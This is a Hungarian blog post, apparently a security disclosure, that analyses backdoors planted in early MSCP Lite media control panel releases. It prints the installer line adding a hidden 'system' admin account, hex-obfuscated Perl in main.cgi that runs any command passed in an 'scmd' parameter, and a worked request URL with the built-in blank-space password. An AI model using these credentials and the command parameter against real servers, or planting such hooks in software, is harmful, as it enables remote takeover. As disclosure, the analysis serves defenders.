2013. március 6., szerda

MSCP Lite korai verziói

Bevezetés

Betekintünk a korai Media Center Control Panel verziókba, azok felépítésébe, és a backdoorok helyére. Leírjuk azt is, hogyan fedeztük fel ezeket a sebezhetőségeket, amelyek szándékosan lettek elhelyezve a szoftverben, valamint letöltési linket is biztosítunk a különböző verziókhoz, amik kipróbálhatóak bármilyen virtuális gépen (éles környezetbe NEM ajánlott!)

Alapvetően kétféle backdoor megoldást tapasztaltunk a verzióknál, így két bejegyzésként választjuk ezeket külön, az első - tehát a korai - verziókban megjelenőről itt beszélünk, és egy későbbi bejegyzés keretében taglaljuk a legfrissebb kiadásban is megtalálható hátsóajtókat.

Itt a 0.13.5 - 0.18.0 verzióig ismertetjük a verziók közti különbséget, valamint az alapvető működés elvét.

A csomag a következő elemekből áll:
  • Telepítő script
  • Pár deb fájl, amely a LAME több verzióját jelenti
  • Perl-ben írt frontend és backend felületek
  • Különböző Perl és Bash scriptek
  • Ices-cc, és Sc_Trans2 AutoDJ szoftverek
  • StereoTool + pár sts preset fájl, és egyéni StreamTranscoder script ami ezt felhasználja
  • Mini_HTTPd webszerver
  • BFTPd FTP szerver
A tesztkörnyezet egy VirtualBox-ban feltelepített alap Debian Squeeze 6.0 64 bites változat.

A teszt környezet

A hátsóajtók nyomában

Az első verzió a 0.13.5, amit 2011. november 6-án töltöttünk le. Erről a verzióról e-mail formájában értesült csapatunk, amit több magánszemélynek illetve cégnek is elküldhetett az RTVStat. Az e-mail az info@rtvstat.hu email címről érkezett. (Update: Az RTVStat akkori állapota jelenleg StreamStat.hu néven él!)

E-mail tartalma:

Ezt a verziót letöltés után, majd kicsomagolás után a install_upgrade_debian_hun.sh / install_upgrade_debian_eng.sh script futtatásával lehet telepíteni (ez a későbbi verziókban sincs másképpen), és már a telepítő részt vesz a backdoor létrehozásában.

A telepítő script 130. sorában (0.13.5 esetén) találhatunk egy ilyen parancsot:

echo "system:BhQ8gcJXV8Ac2" > /home/mscplitecenter/adminpasswd

Ezzel a sorral az backend (azaz az adminisztrációs felület) .htpasswd fájljához hozzáad egy beépített felhasználót.

Miután feltelepül a csomag létrejön a rendszeren egy mappa struktúra. A backend a /data/www/mscpliteadmin mappába kerül, és ezen belül a backdoor második lépcsőjét a main.cgi fájl tartalmazza. Ez a fájl ellenőrzi többek között a lábléc meglétét, a 10 felhasználó korlátját, valamint azt, hogy a .htpasswd fájlban jelen van-e a system felhasználó az előre megadott jelszóval.

Ezt a következő kódrészlet teszi meg (itt sajnos sort nem tudunk említeni, mivel egy sorra lett rendezve a fájl):

open (SYS,"\x2f\x68\x6f\x6d\x65\x2f\x6d\x73\x63\x70\x6c\x69\x74\x65\x63\x65\x6e\x74\x65\x72\x2f\x61\x64\x6d\x69\x6e\x70\x61\x73\x73\x77\x64");$s=<SYS>;unless($s=~/\x73\x79\x73\x74\x65\x6d\x3a\x42\x68\x51\x38\x67\x63\x4a\x58\x56\x38\x41\x63\x32/){exit;}close SYS;

Ez így elsőre elég átláthatatlan, de hamar feltűnik, hogy ez bizony HEX-ben megadott karakterek sorozata, amit könnyedén átalakíthatunk szebb formába:

open (SYS,"/home/mscplitecenter/adminpasswd");$s=<SYS>;unless($s=~/system:BhQ8gcJXV8Ac2/){exit;}close SYS;

Ez annyit csinál, hogy megnyitja a /home/mscplitecenter/adminpasswd fájlt, és addig olvassa míg meg nem találja benne a "system:BhQ8gcJXV8Ac2" részletet. Ha nem talál ilyet, akkor megszakítja a program futtatást.

A backdoor harmadik lépcsője, hogy ha a main.cgi meghívásakor az első paraméter neve scmd valamint a felhasználó system, akkor le futtatja a paraméter értékeként átadott parancsot:

if(($que[0]eq"\x73\x63\x6d\x64")&&($swv eq"\x73\x79\x73\x74\x65\x6d")){$que[1]=~s/%20/ /g;$sout=`$que[1]`;print"\x3c\x70\x72\x65\x3e$sout\x3c\x2f\x70\x72\x65\x3e";}

Olvasható formában:

if(($que[0]eq"scmd")&&($swv eq"system")){$que[1]=~s/%20/ /g;$sout=`$que[1]`;print"<pre>$sout</pre>";}


Az $swv változó a CGI elején láthatóan a távoli felhasználót tartalmazza:

$swv=$ENV{'REMOTE_USER'};


Ezen információk birtokában sikeresen le is teszteltük, hogy tényleg így működik-e a rendszer:
  1. Virtuális gépre feltelepítettük a csomagot
  2. Megnyitottuk a következő címet: http://10.0.0.30:90/mscpliteadmin/main.cgi?scmd=ls%20/
  3. A böngésző azonosítást kért, ahol megadtuk a beépített system felhasználót, és a jelszót, ami négy darab szóköz (a .htpasswd fájlban ez van DEScrypt kódolt formában)
  4. Az "ls /" parancs sikeresen lefutott, amely kilistázta a /-ben lévő mappákat

Működés közben



Különböző verziók

Több verziót is teszteltünk, a fenti leírás alapjául a 0.13.5-ös verziót szolgál, de nincs számottevő különbség  az újabb verziók között. A különböző verziókhoz megjegyzéseket is tettünk a változásokat illetően, valamint letöltési linket és MD5 hash-t is biztosítottunk hozzájuk.

MSCP Lite 0.13.5

  • Legelső tesztelt változat, megjelenése 2011. november 1. a fájl dátumok alapján.
  • Beépített felhasználónév: system
  • Beépített jelszó: *négy darab szóköz*
MD5: 49faa2d3bbb6de69f8487e32b1fd3ee1
Letöltés: mscplite-current.tar.gz

MSCP Lite 0.15.7

  • Megjelenése 2012. április 15. a fájl dátumok alapján.
  • A telepítő script 159. sorában található a .htpasswd manipulálás.
  • Beépített felhasználónév: system
  • Beépített jelszó: *négy darab szóköz*
MD5: 97bdd2c5677b7cb86e1f95622fb0c189
Letöltés: mscplite-current.tar.gz

MSCP Lite 0.17.3

  • Megjelenése 2012. június 16. a fájl dátumok alapján.
  • A telepítő script 159. sorában található a .htpasswd manipulálás.
  • Már nem ellenőrzi a system felhasználó jelenlétét a main.cgi
  • Beépített felhasználónév: system
  • Beépített jelszó: *négy darab szóköz*
MD5: 4b59675f9be8a4a248b72baaea866c07
Letöltés: mscplite-current.tar.gz

MSCP Lite 0.18.0

  • Megjelenése 2012. augusztus 18. a fájl dátumok alapján.
  • A telepítő script 171. sorában található a .htpasswd manipulálás.
  • Beépített felhasználónév: system
  • Beépített jelszó: *négy darab szóköz*
MD5: 1edfbe23430082c38fe85a36201696bb
Letöltés: mscplite-current.tar.gz

1 megjegyzés:

  1. Ugy tünik meg maradt az 1.4.2 verzió és nem lesz több frisités azért nem értem ha már van ez a free verzió miért nem lesz frisités rá! ill sejtem a bredd média ugy gondolja hogy ezzel az akcióval több ügyfelet fog kapni csak egyet felejt el hogy kissé drága de majd rá jön:D

    VálaszTörlés